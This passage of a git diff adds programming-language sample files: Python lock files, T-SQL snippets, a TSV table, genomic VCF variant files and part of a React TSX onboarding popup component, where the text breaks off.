+    {file = "typing_extensions-3.7.4.2.tar.gz", hash = "sha256:79ee589a3caca649a9bfd2a8de4709837400dfa00b6cc81962a1e6a1815969ae"},
+]
+urllib3 = [
+    {file = "urllib3-1.24.3-py2.py3-none-any.whl", hash = "sha256:a637e5fae88995b256e3409dc4d52c2e2e0ba32c42a6365fee8bbd2238de3cfb"},
+    {file = "urllib3-1.24.3.tar.gz", hash = "sha256:2393a695cd12afedd0dcb26fe5d50d0cf248e5a66f75dbd89a3d4eb333a61af4"},
+    {file = "urllib3-1.25.9-py2.py3-none-any.whl", hash = "sha256:88206b0eb87e6d677d424843ac5209e3fb9d0190d0ee169599165ec25e9d9115"},
+    {file = "urllib3-1.25.9.tar.gz", hash = "sha256:3018294ebefce6572a474f0604c2021e33b3fd8006ecd11d62107a5d2a963527"},
+]
+virtualenv = [
+    {file = "virtualenv-16.7.10-py2.py3-none-any.whl", hash = "sha256:105893c8dc66b7817691c7371439ec18e3b6c5e323a304b5ed96cdd2e75cc1ec"},
+    {file = "virtualenv-16.7.10.tar.gz", hash = "sha256:e88fdcb08b0ecb11da97868f463dd06275923f50d87f4b9c8b2fc0994eec40f4"},
+    {file = "virtualenv-20.0.21-py2.py3-none-any.whl", hash = "sha256:a730548b27366c5e6cbdf6f97406d861cccece2e22275e8e1a757aeff5e00c70"},
+    {file = "virtualenv-20.0.21.tar.gz", hash = "sha256:a116629d4e7f4d03433b8afa27f43deba09d48bc48f5ecefa4f015a178efb6cf"},
+]
+wcwidth = [
+    {file = "wcwidth-0.2.3-py2.py3-none-any.whl", hash = "sha256:980fbf4f3c196c0f329cdcd1e84c554d6a211f18e252e525a0cf4223154a41d6"},
+    {file = "wcwidth-0.2.3.tar.gz", hash = "sha256:edbc2b718b4db6cdf393eefe3a420183947d6aa312505ce6754516f458ff8830"},
+]
+webencodings = [
+    {file = "webencodings-0.5.1-py2.py3-none-any.whl", hash = "sha256:a0af1213f3c2226497a97e2b3aa01a7e4bee4f403f95be16fc9acd2947514a78"},
+    {file = "webencodings-0.5.1.tar.gz", hash = "sha256:b36a1c245f2d304965eb4e0a82848379241dc04b865afcc4aab16748587e1923"},
+]
+zipp = [
+    {file = "zipp-1.2.0-py2.py3-none-any.whl", hash = "sha256:e0d9e63797e483a30d27e09fffd308c59a700d365ec34e93cc100844168bf921"},
+    {file = "zipp-1.2.0.tar.gz", hash = "sha256:c70410551488251b0fee67b460fb9a536af8d6f9f008ad10ac51f615b6a521b1"},
+]
diff --git a/samples/TOML/filenames/uv.lock b/samples/TOML/filenames/uv.lock
new file mode 100644
index 0000000000..83d1f03a13
--- /dev/null
+++ b/samples/TOML/filenames/uv.lock
@@ -0,0 +1,34 @@
+version = 1
+requires-python = ">=3.12"
+
+[[package]]
+name = "click"
+version = "8.1.7"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "colorama", marker = "platform_system == 'Windows'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/96/d3/f04c7bfcf5c1862a2a5b845c6b2b360488cf47af55dfa79c98f6a6bf98b5/click-8.1.7.tar.gz", hash = "sha256:ca9853ad459e787e2192211578cc907e7594e294c7ccc834310722b41b9ca6de", size = 336121 }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/00/2e/d53fa4befbf2cfa713304affc7ca780ce4fc1fd8710527771b58311a3229/click-8.1.7-py3-none-any.whl", hash = "sha256:ae74fb96c20a0277a1d615f1e4d73c8414f5a98db8b799a7931d1582f3390c28", size = 97941 },
+]
+
+[[package]]
+name = "colorama"
+version = "0.4.6"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697 }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335 },
+]
+
+[[package]]
+name = "uv-click-example"
+version = "0.1.0"
+source = { editable = "." }
+dependencies = [
+    { name = "click" },
+]
+
+[package.metadata]
+requires-dist = [{ name = "click", specifier = ">=8.1.7" }]
diff --git a/samples/TSQL/cursor.sql b/samples/TSQL/cursor.sql
new file mode 100644
index 0000000000..fa7364b84f
--- /dev/null
+++ b/samples/TSQL/cursor.sql
@@ -0,0 +1,24 @@
+DECLARE Employee_Cursor CURSOR FOR  
+SELECT EmployeeID, Title
+FROM AdventureWorks2012.HumanResources.Employee;
+OPEN Employee_Cursor;
+FETCH NEXT FROM Employee_Cursor;
+WHILE @@FETCH_STATUS = 0  
+   BEGIN
+    FETCH NEXT FROM Employee_Cursor;
+END;
+CLOSE Employee_Cursor;
+DEALLOCATE Employee_Cursor;  
+GO
+
+USE AdventureWorks2012;  
+GO  
+SELECT @@CURSOR_ROWS;  
+DECLARE Name_Cursor CURSOR FOR  
+SELECT LastName ,@@CURSOR_ROWS FROM Person.Person;  
+OPEN Name_Cursor;  
+FETCH NEXT FROM Name_Cursor;  
+SELECT @@CURSOR_ROWS;  
+CLOSE Name_Cursor;  
+DEALLOCATE Name_Cursor;  
+GO
diff --git a/samples/TSQL/logical.sql b/samples/TSQL/logical.sql
new file mode 100644
index 0000000000..869e92c011
--- /dev/null
+++ b/samples/TSQL/logical.sql
@@ -0,0 +1,6 @@
+DECLARE @a int = 45, @b int = 40;  
+SELECT IIF ( @a > @b, 'TRUE', 'FALSE' ) AS Result;
+
+SELECT IIF ( 45 > 30, NULL, NULL ) AS Result;
+
+SELECT CHOOSE ( 3, 'Manager', 'Director', 'Developer', 'Tester' ) AS Result;
diff --git a/samples/TSQL/storedprocedure.sql b/samples/TSQL/storedprocedure.sql
new file mode 100644
index 0000000000..8151081364
--- /dev/null
+++ b/samples/TSQL/storedprocedure.sql
@@ -0,0 +1,24 @@
+CREATE PROCEDURE [dbo].[ins_SomeObject]
+    @ObjectID INT,
+    @Date DATETIME,
+    @ObjectName NVARCHAR(20),
+    @ObjectValue FLOAT
+AS
+BEGIN
+    INSERT INTO [dbo].[ObjectTable]
+        (
+        ObjectID,
+        [Date],
+        ObjectName,
+        ObjectValue
+        )
+    OUTPUT
+    INSERTED.IdentityID
+    VALUES
+        (
+            @ObjectID,
+            @Date,
+            @ObjectName,
+            @ObjectValue
+        )
+END
\ No newline at end of file
diff --git a/samples/TSQL/uniqueidentifier.sql b/samples/TSQL/uniqueidentifier.sql
new file mode 100644
index 0000000000..b94d881fd0
--- /dev/null
+++ b/samples/TSQL/uniqueidentifier.sql
@@ -0,0 +1,5 @@
+DECLARE @myid uniqueidentifier = NEWID();  
+SELECT CONVERT(char(255), @myid) AS 'char';
+
+DECLARE @ID nvarchar(max) = N'0E984725-C51C-4BF4-9960-E1C80E27ABA0wrong';  
+SELECT @ID, CONVERT(uniqueidentifier, @ID) AS TruncatedValue;
diff --git a/samples/TSV/input.tsv b/samples/TSV/input.tsv
new file mode 100644
index 0000000000..d1087faf04
--- /dev/null
+++ b/samples/TSV/input.tsv
@@ -0,0 +1,12 @@
+line	2_apha	3_apha	4_num	5_num	6_num	7_alpha	8_num	9_num
+1	abc	def	10	20	30	ghi	40	50
+2	abcd	abc	20	5	35	bcd	15	40
+3	cde	de	35	45	55	bcdef	10	25
+4	aadd	aabdd	10	30	15	abd	25	25
+5	ad		30	35	25	bcdef	40	15
+6			-10	-5	-25		-15	-30
+7	bcf	cc	-20	-50	0	abc	0	-5
+8	bd		10	20	40	bcd	15	25
+9			0	0	0		0	0
+10	ABCD	ABC	20	5	35	BCD	15	40
+11	AADD	AABDD	10	30	15	ABD	25	25
diff --git a/samples/TSV/merged1.vcf b/samples/TSV/merged1.vcf
new file mode 100644
index 0000000000..02a33037bb
--- /dev/null
+++ b/samples/TSV/merged1.vcf
@@ -0,0 +1,131 @@
+##fileformat=VCFv4.1
+##source=Sniffles
+##fileDate=20190902
+##contig=<ID=1,length=249250621>
+##contig=<ID=2,length=243199373>
+##contig=<ID=3,length=198022430>
+##contig=<ID=4,length=191154276>
+##contig=<ID=5,length=180915260>
+##contig=<ID=6,length=171115067>
+##contig=<ID=7,length=159138663>
+##contig=<ID=8,length=146364022>
+##contig=<ID=9,length=141213431>
+##contig=<ID=10,length=135534747>
+##contig=<ID=11,length=135006516>
+##contig=<ID=12,length=133851895>
+##contig=<ID=13,length=115169878>
+##contig=<ID=14,length=107349540>
+##contig=<ID=15,length=102531392>
+##contig=<ID=16,length=90354753>
+##contig=<ID=17,length=81195210>
+##contig=<ID=18,length=78077248>
+##contig=<ID=19,length=59128983>
+##contig=<ID=20,length=63025520>
+##contig=<ID=21,length=48129895>
+##contig=<ID=22,length=51304566>
+##contig=<ID=X,length=155270560>
+##contig=<ID=Y,length=59373566>
+##contig=<ID=MT,length=16569>
+##contig=<ID=GL000207.1,length=4262>
+##contig=<ID=GL000226.1,length=15008>
+##contig=<ID=GL000229.1,length=19913>
+##contig=<ID=GL000231.1,length=27386>
+##contig=<ID=GL000210.1,length=27682>
+##contig=<ID=GL000239.1,length=33824>
+##contig=<ID=GL000235.1,length=34474>
+##contig=<ID=GL000201.1,length=36148>
+##contig=<ID=GL000247.1,length=36422>
+##contig=<ID=GL000245.1,length=36651>
+##contig=<ID=GL000197.1,length=37175>
+##contig=<ID=GL000203.1,length=37498>
+##contig=<ID=GL000246.1,length=38154>
+##contig=<ID=GL000249.1,length=38502>
+##contig=<ID=GL000196.1,length=38914>
+##contig=<ID=GL000248.1,length=39786>
+##contig=<ID=GL000244.1,length=39929>
+##contig=<ID=GL000238.1,length=39939>
+##contig=<ID=GL000202.1,length=40103>
+##contig=<ID=GL000234.1,length=40531>
+##contig=<ID=GL000232.1,length=40652>
+##contig=<ID=GL000206.1,length=41001>
+##contig=<ID=GL000240.1,length=41933>
+##contig=<ID=GL000236.1,length=41934>
+##contig=<ID=GL000241.1,length=42152>
+##contig=<ID=GL000243.1,length=43341>
+##contig=<ID=GL000242.1,length=43523>
+##contig=<ID=GL000230.1,length=43691>
+##contig=<ID=GL000237.1,length=45867>
+##contig=<ID=GL000233.1,length=45941>
+##contig=<ID=GL000204.1,length=81310>
+##contig=<ID=GL000198.1,length=90085>
+##contig=<ID=GL000208.1,length=92689>
+##contig=<ID=GL000191.1,length=106433>
+##contig=<ID=GL000227.1,length=128374>
+##contig=<ID=GL000228.1,length=129120>
+##contig=<ID=GL000214.1,length=137718>
+##contig=<ID=GL000221.1,length=155397>
+##contig=<ID=GL000209.1,length=159169>
+##contig=<ID=GL000218.1,length=161147>
+##contig=<ID=GL000220.1,length=161802>
+##contig=<ID=GL000213.1,length=164239>
+##contig=<ID=GL000211.1,length=166566>
+##contig=<ID=GL000199.1,length=169874>
+##contig=<ID=GL000217.1,length=172149>
+##contig=<ID=GL000216.1,length=172294>
+##contig=<ID=GL000215.1,length=172545>
+##contig=<ID=GL000205.1,length=174588>
+##contig=<ID=GL000219.1,length=179198>
+##contig=<ID=GL000224.1,length=179693>
+##contig=<ID=GL000223.1,length=180455>
+##contig=<ID=GL000195.1,length=182896>
+##contig=<ID=GL000212.1,length=186858>
+##contig=<ID=GL000222.1,length=186861>
+##contig=<ID=GL000200.1,length=187035>
+##contig=<ID=GL000193.1,length=189789>
+##contig=<ID=GL000194.1,length=191469>
+##contig=<ID=GL000225.1,length=211173>
+##contig=<ID=GL000192.1,length=547496>
+##contig=<ID=NC_007605,length=171823>
+##contig=<ID=hs37d5,length=35477943>
+##ALT=<ID=DEL,Description="Deletion">
+##ALT=<ID=DUP,Description="Duplication">
+##ALT=<ID=INV,Description="Inversion">
+##ALT=<ID=INVDUP,Description="InvertedDUP with unknown boundaries">
+##ALT=<ID=TRA,Description="Translocation">
+##ALT=<ID=INS,Description="Insertion">
+##INFO=<ID=CHR2,Number=1,Type=String,Description="Chromosome for END coordinate in case of a translocation">
+##INFO=<ID=END,Number=1,Type=Integer,Description="End position of the structural variant">
+##INFO=<ID=MAPQ,Number=1,Type=Integer,Description="Median mapping quality of paired-ends">
+##INFO=<ID=RE,Number=1,Type=Integer,Description="read support">
+##INFO=<ID=IMPRECISE,Number=0,Type=Flag,Description="Imprecise structural variation">
+##INFO=<ID=PRECISE,Number=0,Type=Flag,Description="Precise structural variation">
+##INFO=<ID=UNRESOLVED,Number=0,Type=Flag,Description="An insertion that is longer than the read and thus we cannot predict the full size.">
+##INFO=<ID=SVLEN,Number=1,Type=Integer,Description="Length of the SV">
+##INFO=<ID=REF_strand,Number=2,Type=Integer,Description="Length of the SV">
+##INFO=<ID=SVMETHOD,Number=1,Type=String,Description="Type of approach used to detect SV">
+##INFO=<ID=SVTYPE,Number=1,Type=String,Description="Type of structural variant">
+##INFO=<ID=SEQ,Number=1,Type=String,Description="Extracted sequence from the best representative read.">
+##INFO=<ID=STD_quant_start,Number=A,Type=Float,Description="STD of the start breakpoints across the reads.">
+##INFO=<ID=STD_quant_stop,Number=A,Type=Float,Description="STD of the stop breakpoints across the reads.">
+##INFO=<ID=Kurtosis_quant_start,Number=A,Type=Float,Description="Kurtosis value of the start breakpoints across the reads.">
+##INFO=<ID=Kurtosis_quant_stop,Number=A,Type=Float,Description="Kurtosis value of the stop breakpoints across the reads.">
+##INFO=<ID=SUPTYPE,Number=A,Type=String,Description="Type by which the variant is supported.(SR,ALN,NR)">
+##INFO=<ID=STRANDS,Number=A,Type=String,Description="Strand orientation of the adjacency in BEDPE format (DEL:+-, DUP:-+, INV:++/--)">
+##INFO=<ID=AF,Number=A,Type=Float,Description="Allele Frequency.">
+##INFO=<ID=ZMW,Number=A,Type=Integer,Description="Number of ZMWs (Pacbio) supporting SV.">
+##FORMAT=<ID=GT,Number=1,Type=String,Description="Genotype">
+##FORMAT=<ID=DR,Number=1,Type=Integer,Description="# high-quality reference reads">
+##FORMAT=<ID=DV,Number=1,Type=Integer,Description="# high-quality variant reads">
+#CHROM	POS	ID	REF	ALT	QUAL	FILTER	INFO	FORMAT	alns_merged/hs37d5.all.md.bam
+1	10001	27885	N	<INS>	.	PASS	IMPRECISE;SVMETHOD=Snifflesv1.0.11;CHR2=1;END=10407;ZMW=4;STD_quant_start=0.500000;STD_quant_stop=78.452215;Kurtosis_quant_start=1.000000;Kurtosis_quant_stop=-1.530914;SVTYPE=INS;SUPTYPE=SR;SVLEN=406;STRANDS=-+;RE=4	GT:DR:DV	./.:.:4
+1	10329	1	CCCCTAACCCTAACCCTAACCCTACCCTAACCCTAACCCTAACCCTAACCCTAACCCTAAC	N	.	PASS	PRECISE;SVMETHOD=Snifflesv1.0.11;CHR2=1;END=10390;ZMW=21;STD_quant_start=0.316228;STD_quant_stop=3.794733;Kurtosis_quant_start=-0.866914;Kurtosis_quant_stop=-1.344369;SVTYPE=DEL;SUPTYPE=AL;SVLEN=-61;STRANDS=+-;RE=21	GT:DR:DV	./.:.:21
+1	10407	2	N	CACCCTCACCCTCACCCTCACCCCCACCCCCACCCCCACCCCCACCCCCACCCC	.	PASS	PRECISE;SVMETHOD=Snifflesv1.0.11;CHR2=1;END=10461;ZMW=20;STD_quant_start=0.000000;STD_quant_stop=0.316228;Kurtosis_quant_start=-1.254650;Kurtosis_quant_stop=0.212091;SVTYPE=INS;SUPTYPE=AL;SVLEN=54;STRANDS=+-;RE=20	GT:DR:DV	./.:.:20
+1	10862	3	N	CAGGCGCAGAGAGGCGCGCCGCGCCGGCGCAGGCGCAGAGAGGCGCGCCGCGCCGGCGCAGGCGCAGAGAGGCGCGCCGGGCCGGCGCAGGCGCAGAGACACATGCTAGCGCGTCCAGGGGAGGAGGCGTGGCA	.	PASS	IMPRECISE;SVMETHOD=Snifflesv1.0.11;CHR2=1;END=10996;ZMW=77;STD_quant_start=0.000000;STD_quant_stop=19.477382;Kurtosis_quant_start=-1.283652;Kurtosis_quant_stop=-2.008307;SVTYPE=INS;SUPTYPE=AL;SVLEN=47;STRANDS=+-;RE=77	GT:DR:DV	./.:.:77
+1	136934	4	N	CAAGGGGCTCGGGCTGACCTCTGTCCGCGTGGGAGGGGCCGGTGTGAGGCAAGGGGCTCGGGCTGACCTCTCTCAGTGTGGGAGGGGCCGGTGTGAGGCAAGGGGCTCACGCTGACCTCTGTCTGCGTGGGAGGGGCCGGTGTGAGACAAGGGGCTCGGGCTGACCTCTCTCAGCGTGGGAGGGGCCGGTGTGAGGCAAGGGGCTCGGGCTGACCTCTCTCAGCGTGGGAGGGGCCAGTGTGAGGCAAGGGCTCACACTGACCTCTCTCAGCATGGGAGGGGCCGGTGTGAGA	.	PASS	PRECISE;SVMETHOD=Snifflesv1.0.11;CHR2=1;END=137227;ZMW=14;STD_quant_start=0.000000;STD_quant_stop=2.549510;Kurtosis_quant_start=2.193074;Kurtosis_quant_stop=2.855605;SVTYPE=INS;SUPTYPE=AL;SVLEN=293;STRANDS=+-;RE=14	GT:DR:DV	./.:.:14
+1	533244	5	N	CGGGTGCCATCTCAGCAGCTCACGGTGTGGAAACTGCGACACTCACGCGGGTGCCATCTCAGCAGCTCACGGTGTGGAAACTGCGACACTCACA	.	PASS	IMPRECISE;SVMETHOD=Snifflesv1.0.11;CHR2=1;END=533338;ZMW=3;STD_quant_start=27.135463;STD_quant_stop=25.980762;Kurtosis_quant_start=-0.000000;Kurtosis_quant_stop=0.000000;SVTYPE=INS;SUPTYPE=AL;SVLEN=94;STRANDS=+-;RE=3	GT:DR:DV	./.:.:3
+1	545927	6	N	TGCAGGAGAGGAGATGCCCAGGCCTGGCGGCCGGCGCACGCGGGTTCTCTGTGGCCAGCAGGCGGCGCTGCAGGAGAGGAGATGCCCAGGCCAGGCGGCCGGCGCACGCGGGTTCTCTGTGGCCAGCAGGCGGCGCTGCAGGAGAGGAGATGCCCAGGCCTGGCGGCCGGCGCACGCGGGTTCTCTGTGGCCAGCAGGCGGCGA	.	PASS	PRECISE;SVMETHOD=Snifflesv1.0.11;CHR2=1;END=546131;ZMW=23;STD_quant_start=0.000000;STD_quant_stop=0.000000;Kurtosis_quant_start=4.593400;Kurtosis_quant_stop=4.281659;SVTYPE=INS;SUPTYPE=AL;SVLEN=204;STRANDS=+-;RE=23	GT:DR:DV	./.:.:23
+1	605031	7	N	TACATGGAGGGGAACAACACACACCAGGGCCTCTCAGGGGGACAGGGGGTAGGAGACCATCAGGACAAACACGTGGATACATGGAGGGGAACAACACACACCAGGGCCTCTCAGGGGGACAGGGGGTAGGAGACCATCAGGACAAACACGTGGATACATGGAGGGGAACAACACACACCAGGGCCTCTCAGGGGGACAGGGGGTAGGAGACCATCAGGACAAACACGTGGG	.	PASS	IMPRECISE;SVMETHOD=Snifflesv1.0.11;CHR2=1;END=605262;ZMW=9;STD_quant_start=45.186035;STD_quant_stop=44.628093;Kurtosis_quant_start=2.035202;Kurtosis_quant_stop=1.944981;SVTYPE=INS;SUPTYPE=AL;SVLEN=231;STRANDS=+-;RE=9	GT:DR:DV	./.:.:9
+1	662612	8	N	GTGAGACAAGGGGCTCACGCTGACCTCTGTCCACGTGGGAGGGGCCGGG	.	PASS	PRECISE;SVMETHOD=Snifflesv1.0.11;CHR2=1;END=662661;ZMW=4;STD_quant_start=0.000000;STD_quant_stop=0.000000;Kurtosis_quant_start=-nan;Kurtosis_quant_stop=-nan;SVTYPE=INS;SUPTYPE=AL;SVLEN=49;STRANDS=+-;RE=4	GT:DR:DV	./.:.:4
+1	664891	9	GCAGGAGCTGGGCCTGGAGAGGCTGCAAAGAA	N	.	PASS	PRECISE;SVMETHOD=Snifflesv1.0.11;CHR2=1;END=664923;ZMW=4;STD_quant_start=0.000000;STD_quant_stop=0.000000;Kurtosis_quant_start=-nan;Kurtosis_quant_stop=-nan;SVTYPE=DEL;SUPTYPE=AL;SVLEN=-32;STRANDS=+-;RE=4	GT:DR:DV	./.:.:4
+1	725451	10	GGATGGGATGCGATGGGATGGGATGGGATGGGATGGGATGGGATGGGATGGATTT	N	.	PASS	PRECISE;SVMETHOD=Snifflesv1.0.11;CHR2=1;END=725506;ZMW=3;STD_quant_start=0.000000;STD_quant_stop=0.000000;Kurtosis_quant_start=-nan;Kurtosis_quant_stop=-nan;SVTYPE=DEL;SUPTYPE=AL;SVLEN=-55;STRANDS=+-;RE=3	GT:DR:DV	./.:.:3
+1	756259	11	N	TCTACACTACCTGCCTGGCCAGCAGATCCACCCTGTCTACACTACCTGCCTGGGCAGTAGTTCCACGCAATCTCCCCTACCTGCCTCTCCAGCAGACCCGCCCTATCTATACTACTTGCCTGTCCAGCAGATCCACTCTATCTACACGACCTGCCTGTCCAGCAGATCCACCCTGTCTACACTACCTGCTTGTCCAGCAGGTCCACCCTGTCTATACTACCTGCCTGGCCAGTAGATCCACACTA	.	PASS	PRECISE;SVMETHOD=Snifflesv1.0.11;CHR2=1;END=756504;ZMW=19;STD_quant_start=0.000000;STD_quant_stop=0.000000;Kurtosis_quant_start=1.759442;Kurtosis_quant_stop=1.789241;SVTYPE=INS;SUPTYPE=AL;SVLEN=245;STRANDS=+-;RE=19	GT:DR:DV	./.:.:19
diff --git a/samples/TSV/z.vcf b/samples/TSV/z.vcf
new file mode 100644
index 0000000000..0039244cab
--- /dev/null
+++ b/samples/TSV/z.vcf
@@ -0,0 +1,12 @@
+##fileformat=VCFv4.2
+##FORMAT=<ID=GT,Number=1,Type=String,Description="Genotype">
+##INFO=<ID=AC,Number=A,Type=Integer,Description="Total number of alternate alleles in called genotypes">
+##INFO=<ID=AF,Number=A,Type=Float,Description="Estimated allele frequency in the range (0,1]">
+##INFO=<ID=NS,Number=1,Type=Integer,Description="Number of samples with data">
+##INFO=<ID=AN,Number=1,Type=Integer,Description="Total number of alleles in called genotypes">
+##INFO=<ID=LV,Number=1,Type=Integer,Description="Level in the snarl tree (0=top level)">
+##INFO=<ID=PS,Number=1,Type=String,Description="ID of variant corresponding to parent snarl">
+##INFO=<ID=AT,Number=R,Type=String,Description="Allele Traversal as path in graph">
+##contig=<ID=a,length=630>
+#CHROM	POS	ID	REF	ALT	QUAL	FILTER	INFO	FORMAT	b
+a	281	>1>9	AGCCGGGGCAGAAAGTTCTTCCTTGAATGTGGTCATCTGCATTTCAGCTCAGGAATCCTGCAAAAGACAG	CTGTCTTTTGCAGGATTCCTGTGCTGAAATGCAGATGACCGCATTCAAGGAAGAACTATCTGCCCCGGCT	60.0	.	AC=1;AF=1;AN=1;AT=>1>2>3>4>5>6>7>8>9,>1<8>10<6>11<4>12<2>9;NS=1;LV=0	GT	1
diff --git a/samples/TSX/import.tsx b/samples/TSX/import.tsx
new file mode 100644
index 0000000000..12d2a54cfa
--- /dev/null
+++ b/samples/TSX/import.tsx
@@ -0,0 +1,384 @@
+// Fixture taken from https://github.com/graphcool/console/blob/dev/src/components/onboarding/PlaygroundCPopup/PlaygroundCPopup.tsx
+
+import * as React from 'react'
+import {withRouter} from 'react-router'
+import {connect} from 'react-redux'
+import {bindActionCreators} from 'redux'
+import {nextStep, selectExample} from '../../../actions/gettingStarted'
+import {classnames} from '../../../utils/classnames'
+import Loading from '../../Loading/Loading'
+import {GettingStartedState} from '../../../types/gettingStarted'
+import {Example} from '../../../types/types'
+const classes: any = require('./PlaygroundCPopup.scss')
+import {$p} from 'graphcool-styles'
+import * as cx from 'classnames'
+
+interface Tutorial {
+  title: string
+  description: string
+  image: string
+  link: string
+}
+
+const guides: Tutorial[] = [
+  {
+    title: 'Learnrelay.org',
+    description: 'A comprehensive, interactive introduction to Relay',
+    link: 'https://learnrelay.org/',
+    image: require('../../../assets/graphics/relay.png'),
+  },
+  {
+    title: 'GraphQL and the amazing Apollo Client',
+    description: 'Explore an Application built using React and Angular 2',
+    link: 'https://medium.com/google-developer-experts/graphql-and-the-amazing-apollo-client-fe57e162a70c',
+    image: require('../../../assets/graphics/apollo.png'),
+  },
+  {
+    title: 'Introducing Lokka',
+    description: 'A Simple JavaScript Client for GraphQL',
+    link: 'https://voice.kadira.io/introducing-lokka-a-simple-javascript-client-for-graphql-e0802695648c',
+    image: require('../../../assets/graphics/lokka.png'),
+  },
+]
+
+const examples = {
+  ReactRelay: {
+    path: 'react-relay-instagram-example',
+    description: 'React + Relay',
+  },
+  ReactApollo: {
+    path: 'react-apollo-instagram-example',
+    description: 'React + Apollo',
+  },
+  ReactNativeApollo: {
+    path: 'react-native-apollo-instagram-example',
+    description: 'React Native + Apollo',
+  },
+  AngularApollo: {
+    path: 'angular-apollo-instagram-example',
+    description: 'Angular + Apollo',
+  },
+}
+
+interface Props {
+  id: string
+  projectId: string
+  nextStep: () => Promise<void>
+  selectExample: (selectedExample: Example) => any
+  gettingStartedState: GettingStartedState
+}
+
+interface State {
+  mouseOver: boolean
+}
+
+class PlaygroundCPopup extends React.Component<Props, State> {
+
+  state = {
+    mouseOver: false,
+  }
+
+  refs: {
+    [key: string]: any
+    exampleAnchor: HTMLDivElement
+    congratsAnchor: HTMLDivElement
+    scroller: HTMLDivElement,
+  }
+
+  componentDidUpdate(prevProps: Props, prevState: State) {
+    if (prevProps.gettingStartedState.selectedExample !== this.props.gettingStartedState.selectedExample) {
+      this.refs.scroller.scrollTop += this.refs.exampleAnchor.getBoundingClientRect().top
+    }
+
+    if (prevProps.gettingStartedState.isCurrentStep('STEP5_WAITING')
+        && this.props.gettingStartedState.isCurrentStep('STEP5_DONE')) {
+      this.refs.scroller.scrollTop += this.refs.congratsAnchor.getBoundingClientRect().top
+
+      const snd = new Audio(require('../../../assets/success.mp3') as string)
+      snd.volume = 0.5
+      snd.play()
+    }
+  }
+
+  render() {
+    const {mouseOver} = this.state
+    const {selectedExample} = this.props.gettingStartedState
+    const hovering = !this.props.gettingStartedState.isCurrentStep('STEP4_CLICK_TEASER_STEP5')
+    const downloadUrl = (example) => `${__BACKEND_ADDR__}/resources/getting-started-example?repository=${examples[example].path}&project_id=${this.props.projectId}&user=graphcool-examples` // tslint:disable-line
+    return (
+      <div
+        className='flex justify-center items-start w-100 h-100'
+        style={{
+          transition: 'background-color 0.3s ease',
+          backgroundColor: hovering ? 'rgba(255,255,255,0.7)' : 'transparent',
+          width: 'calc(100% - 266px)',
+          pointerEvents: 'none',
+          overflow: 'hidden',
+        }}
+      >
+        <div
+          ref='scroller'
+          className='flex justify-center w-100'
+          style={{
+            transition: 'height 0.5s ease',
+            height: hovering ? '100%' : mouseOver ? '190%' : '210%',
+            pointerEvents: hovering ? 'all' : 'none',
+            cursor: hovering ? 'auto' : 'pointer',
+            overflow: hovering ? 'auto' : 'hidden',
+            alignItems: selectedExample ? 'flex-start' : 'center',
+          }}
+        >
+          <div
+            className='bg-white br-2 shadow-2 mv-96'
+            style={{
+              minWidth: 600,
+              maxWidth: 800,
+              pointerEvents: 'all',
+            }}
+            onMouseLeave={() => this.setState({ mouseOver: false })}
+            onMouseEnter={() => {
+              this.setState({ mouseOver: true })
+            }}
+            onMouseOver={(e: any) => {
+              if (this.props.gettingStartedState.isCurrentStep('STEP4_CLICK_TEASER_STEP5')) {
+                this.props.nextStep()
+              }
+            }}
+          >
+            <div className='ma-16 tc pb-25'>
+              <div className='fw3 ma-38 f-38'>
+                You did it! Time to run an example.
+              </div>
+              <div className='fw2 f-16 mh-96 lh-1-4'>
+                You have successfully set up your own Instagram backend.{' '}
+                When building an app with Graphcool you can easily explore queries in the{' '}
+                playground and "copy &amp; paste" selected queries into your code.{' '}
+                Of course, to do so, you need to implement the frontend first.
+              </div>
+              <div className='fw2 f-16 mh-96 lh-1-4 mt-16'>
+                <div>We put together a simple app to show and add posts</div>
+                <div>using the backend you just built, to test and run it locally.</div>
+              </div>
+            </div>
+            <div className='ma-16 tc pb-25'>
+              <div className='fw3 ma-38 f-25'>
+                Select your preferred technology to download the example.
+              </div>
+              <div className='flex justify-between items-center w-100' ref='exampleAnchor'>
+                <div
+                  className={classnames(
+                    classes.exampleButton,
+                    selectedExample === 'ReactRelay' ? classes.active : '',
+                  )}
+                  onClick={() => this.props.selectExample('ReactRelay')}
+                >
+                  React + Relay
+                </div>
+                <div
+                  className={classnames(
+                    classes.exampleButton,
+                    selectedExample === 'ReactApollo' ? classes.active : '',
+                  )}
+                  onClick={() => this.props.selectExample('ReactApollo')}
+                >
+                  React + Apollo
+                </div>
+                <div
+                  className={classnames(
+                    classes.exampleButton,
+                    selectedExample === 'ReactNativeApollo' ? classes.active : '',
+                  )}
+                  onClick={() => this.props.selectExample('ReactNativeApollo')}
+                >
+                  React Native + Apollo
+                </div>
+                <div
+                  className={classnames(
+                    classes.exampleButton,
+                    selectedExample === 'AngularApollo' ? classes.active : '',
+                  )}
+                  onClick={() => this.props.selectExample('AngularApollo')}
+                >
+                  Angular + Apollo
+                </div>
+              </div>
+            </div>
+          {selectedExample &&
+          <div>
+            <div className='w-100'>
+              <iframe
+                className='w-100'
+                height='480'
+                allowFullScreen
+                frameBorder='0'
+                src={`https://www.youtube.com/embed/${this.getExampleVideoUrl(selectedExample)}`}
+              />
+            </div>
+            <div
+              className='w-100 pa-25'
+              style={{
+                backgroundColor: '#FEF5D2',
+              }}
+            >
+              <div className='mt-25 mb-38 w-100 flex justify-center'>
+                <a
+                  href={downloadUrl(selectedExample)}
+                  className='pa-16 white'
+                  style={{
+                    backgroundColor: '#4A90E2',
+                  }}
+                >
+                  Download example
+                </a>
+              </div>
+              <div className='code dark-gray'>
+                <div className='black-50'>
+                  # To see the example in action, run the following commands:
+                </div>
+                <div className='mv-16'>
+                  <div className='black'>
+                    npm install
+                  </div>
+                  <div className='black'>
+                    npm start
+                  </div>
+                </div>
+                <div className='black-50'>
